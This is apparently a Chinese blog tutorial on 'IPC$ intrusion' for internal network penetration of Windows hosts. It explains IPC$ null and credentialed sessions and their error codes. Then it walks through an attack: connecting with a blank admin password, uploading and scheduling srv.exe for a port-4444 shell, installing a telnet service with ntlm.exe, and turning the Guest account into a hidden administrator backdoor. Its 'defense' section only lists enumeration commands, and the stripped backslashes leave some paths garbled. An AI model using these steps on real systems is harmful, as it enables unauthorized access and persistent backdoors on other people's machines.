zoukankan      html  css  js  c++  java
  • 4. 内网渗透之IPC$入侵

    IPC$连接

    IPC$的概念:

    IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的
    命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

    IPC$的作用:

    利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。

    IPC$的利用条件:

    1. 139,445端口开启     
    ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过
    139,
    445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.

    2. 管理员开启了默认共享
    默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或
    windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问

    IPC$连接失败的原因:

    1.你的系统不是NT或以上操作系统.
    2.对方没有打开ipc$默认共享。
    3.不能成功连接目标的139,445端口.
    4.命令输入错误.
    5.用户名或密码错误.

    常见错误号:

    1.错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
    2.错误号51,Windows 无法找到网络路径 : 网络有问题;
    3.错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
    4.错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 
    5.错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 6.错误号1326,未知的用户名或错误密码 : 原因很明显了; 7.错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 8.错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。

    具体操作命令:

    1.建立IPC$空连接:

    net use \127.0.0.1ipc$ "" /user:""

    2.建立完整的用户名,密码连接:

    net use \127.0.0.1ipc$ "password" /user:"username"

    3.映射路径:

    net use z: \127.0.0.1c$ "密码" /user:"用户名"  (即可将对方的c盘映射为自己的z盘,其他盘类推)

    4.访问/删除路径:

    net use z: \127.0.0.1c$   #直接访问
    net use c: /del     删除映射的c盘,其他盘类推 
    net use * /del      删除全部,会有提示要求按y确认

    5.删除IPC$连接:

    net use \127.0.0.1ipc$ /del

    6.入侵过程:

    (1)

    C:>net use \127.0.0.1IPC$ "" /user:"admintitrators" 
    
    这是用《流光》扫到的用户名是administrators,密码为""的IP地址,如果是打算攻击的话,
    就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"",所以第一个引号处就不用输入,
    后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

    (2)

    C:>copy srv.exe \127.0.0.1admin$ 
    
    先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:winntsystem32,
    大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

    (3)

    C:>net time \127.0.0.1 
    
    查查时间,发现127.0.0.1 的当前时间是 2019/2/8 上午 11:00,命令成功完成。

    (4)

    C:>at \127.0.0.1 11:05 srv.exe 
    用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

    (5)

    C:>net time \127.0.0.1
    
    再查查到时间没有?如果127.0.0.1 的当前时间是 2019/2/8 上午 11:05,说明srv.exe已经执行,那就准备开始下面的命令。

    (6)

    C:>telnet 127.0.0.1 4444
    这里会用到Telnet命令吧,注意端口是4444。Telnet默认的是23端口,但是我们使用的是srv.exe在对方计算机中为我们建立一个4444端口的Shell。 虽然我们可以Telnet上去了,但是srv.exe是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

    (7)

    C:>copy ntlm.exe \127.0.0.1admin$
    用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

    (8)

    C:WINNTsystem32>ntlm
     
    输入ntlm启动(这里的C:WINNTsystem32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。
    当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! 

    (9)

    Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单

    (10)

    为了以防万一,我们再把guest激活加到管理组    
    C:>net user guest /active:yes 
    将对方的Guest用户激活

    (11)

    C:>net user guest 123456
    将Guest的密码改为123456,或者你要设定的密码

    (12)

    C:>net localgroup administrators guest /add
    将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

    7.如何防御IPC$入侵:

    net share       #查看自己的共享
    net view \IP   #查看target的共享
    netstat -A IP   #获取target的user列表

    8.netstat延伸使用:

    netstat -ano | findstr "port"  #查看端口号对应的PID
    tasklist | findstr "PID"       #查看进程号对应的程序

    参考连接:

    内网渗透实战-IPC$入侵之远程控制

  • 相关阅读:
    1051 Wooden Sticks(贪心-3)
    97 等价交换(贪心-2)
    python文件操作
    python学习-day 2
    python学习-day 1
    Python 测试题目-1
    Python list和dict方法
    Python 字符串
    while循环语句
    Python if判断语句
  • 原文地址:https://www.cnblogs.com/bmjoker/p/10355934.html
Copyright © 2011-2022 走看看